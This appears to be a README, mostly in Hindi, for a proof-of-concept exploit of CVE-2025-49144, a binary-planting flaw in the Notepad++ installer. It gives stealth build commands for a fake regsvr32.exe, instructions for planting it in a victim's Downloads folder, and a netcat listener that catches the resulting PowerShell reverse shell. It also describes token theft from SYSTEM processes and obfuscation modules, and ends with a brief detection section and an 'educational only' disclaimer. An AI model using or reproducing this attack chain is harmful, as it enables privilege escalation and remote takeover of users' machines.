
PoC CVE-2025-49144
⚠️ केवल शैक्षणिक उद्देश्य के लिए
यह कोड बाइनरी प्लांटिंग भेद्यताओं को समझने के लिए शैक्षणिक और शोध उद्देश्यों हेतु डिज़ाइन किया गया है। केवल उचित प्राधिकरण के साथ नियंत्रित वातावरण में उपयोग करें।
यह प्रूफ ऑफ कॉन्सेप्ट GHSA-9vx8-v79m-6m24 में संदर्भित Notepad++ इंस्टॉलर (CVE-2025-49144) में बाइनरी प्लांटिंग भेद्यता को प्रदर्शित करता है। यह भेद्यता एक हमलावर को Notepad++ इंस्टॉलर के समान निर्देशिका में regsvr32.exe नामक दुर्भावनापूर्ण निष्पादन योग्य फ़ाइल रखकर SYSTEM-स्तरीय विशेषाधिकार प्राप्त करने की अनुमति देती है।
regsvr32.exe के माध्यम से बाइनरी प्लांटिंगPoC में एक साथ काम करने वाले कई घटक शामिल हैं:
┌─────────────────┐ ┌──────────────────┐ ┌─────────────────┐
│ Notepad++ │ │ Malicious │ │ Reverse Shell │
│ Installer │───▶│ regsvr32.exe │───▶│ (PowerShell) │
│ (searches for │ │ (CGO binary) │ │ with SYSTEM │
│ regsvr32.exe) │ │ │ │ privileges │
└─────────────────┘ └──────────────────┘ └─────────────────┘
# Install Go (1.24+)
# Install MinGW-w64 for CGO compilation
# Install Git for version control
# Clone the repository
git clone https://github.com/Vr00mm/CVE-2025-49144
cd CVE-2025-49144
# Build as executable (masquerading as regsvr32.exe)
# For maximum stealth (strip debug info)
go build -ldflags="-s -w" -o regsvr32.exe
# For development (with debug symbols)
go build -o regsvr32_debug.exe
# 1. Place malicious regsvr32.exe in same directory as Notepad++ installer
# Usually the Downloads folder where users download the installer
copy regsvr32.exe "C:\Users\%USERNAME%\Downloads\"
# 2. User downloads official Notepad++ installer to Downloads folder
# 3. When user runs the installer, it searches for regsvr32.exe in current directory first
# 4. Installer finds and executes our malicious regsvr32.exe with SYSTEM privileges
# 5. Listen for incoming reverse shell connection
ncat -tlnp 4445
sequenceDiagram
participant User
participant Attacker
participant Downloads
participant NotepadInstaller
participant MaliciousRegsvr32
participant SystemProcess
User->>Downloads: Download Notepad++ installer
Attacker->>Downloads: Place malicious regsvr32.exe (social engineering)
User->>NotepadInstaller: Run installer from Downloads folder
NotepadInstaller->>Downloads: Search for regsvr32.exe in current directory
Downloads->>MaliciousRegsvr32: Find malicious regsvr32.exe first
NotepadInstaller->>MaliciousRegsvr32: Execute with SYSTEM privileges
MaliciousRegsvr32->>MaliciousRegsvr32: Create detached process
MaliciousRegsvr32->>SystemProcess: Enumerate SYSTEM processes
SystemProcess->>MaliciousRegsvr32: Steal token from winlogon/services
MaliciousRegsvr32->>MaliciousRegsvr32: Create PowerShell with SYSTEM token
MaliciousRegsvr32->>Attacker: Establish reverse connection
MaliciousRegsvr32->>NotepadInstaller: Continue with legitimate regsvr32 functionality
Attacker->>SystemProcess: Execute commands as SYSTEMबाइनरी प्लांटिंग
विशेषाधिकार वृद्धि
स्थायित्व तंत्र
नेटवर्क प्रोग्रामिंग
CGO प्रोग्रामिंग
# Monitor for suspicious regsvr32 usage
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104}
# Check for unusual network connections
netstat -ano | findstr ":4445"
# Monitor process creation
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688}
कनेक्शन विफलताएँ
# Check if port is available
netstat -ano | findstr ":4445"
# Verify firewall settings
netsh advfirewall firewall show rule name=all | findstr "4445"
बिल्ड त्रुटियाँ
# Ensure CGO is enabled
set CGO_ENABLED=1
# Check MinGW installation
gcc --version
# Verify Go installation supports CGO
go env CGO_ENABLED
टोकन अधिग्रहण विफलताएँ
यह प्रोजेक्ट शैक्षणिक उद्देश्यों के लिए MIT लाइसेंस के अंतर्गत जारी किया गया है। विवरण के लिए LICENSE फ़ाइल देखें।
याद रखें: यह टूल केवल शैक्षणिक और अधिकृत परीक्षण उद्देश्यों के लिए है। हमेशा जिम्मेदार प्रकटीकरण प्रथाओं का पालन करें और कानूनी सीमाओं का सम्मान करें।
| फ़ाइल | उद्देश्य | पंक्तियाँ |
|---|
main.go | प्रवेश बिंदु, regsvr32 निष्पादन संभालता है | ~80 |
winbind.h | फ़ंक्शन घोषणाओं के साथ मुख्य हेडर | ~45 |
main.c | कोर रिवर्स शेल लॉन्चर और डिटैच्ड प्रोसेस निर्माण | ~75 |
shell.c | अस्पष्टीकृत PowerShell निष्पादन के साथ शेल हैंडलर | ~120 |
process.c | टोकन अधिग्रहण और SYSTEM प्रोसेस निर्माण | ~195 |
socket.c | TCP कीप-अलाइव के साथ नेटवर्क कनेक्शन | ~85 |
threads.c | सॉकेट और पाइप के बीच I/O थ्रेडिंग | ~60 |
utils.c | इनपुट सत्यापन और रेट लिमिटिंग | ~35 |
obfuscate.c | PowerShell पथ अस्पष्टीकरण तकनीकें | ~70 |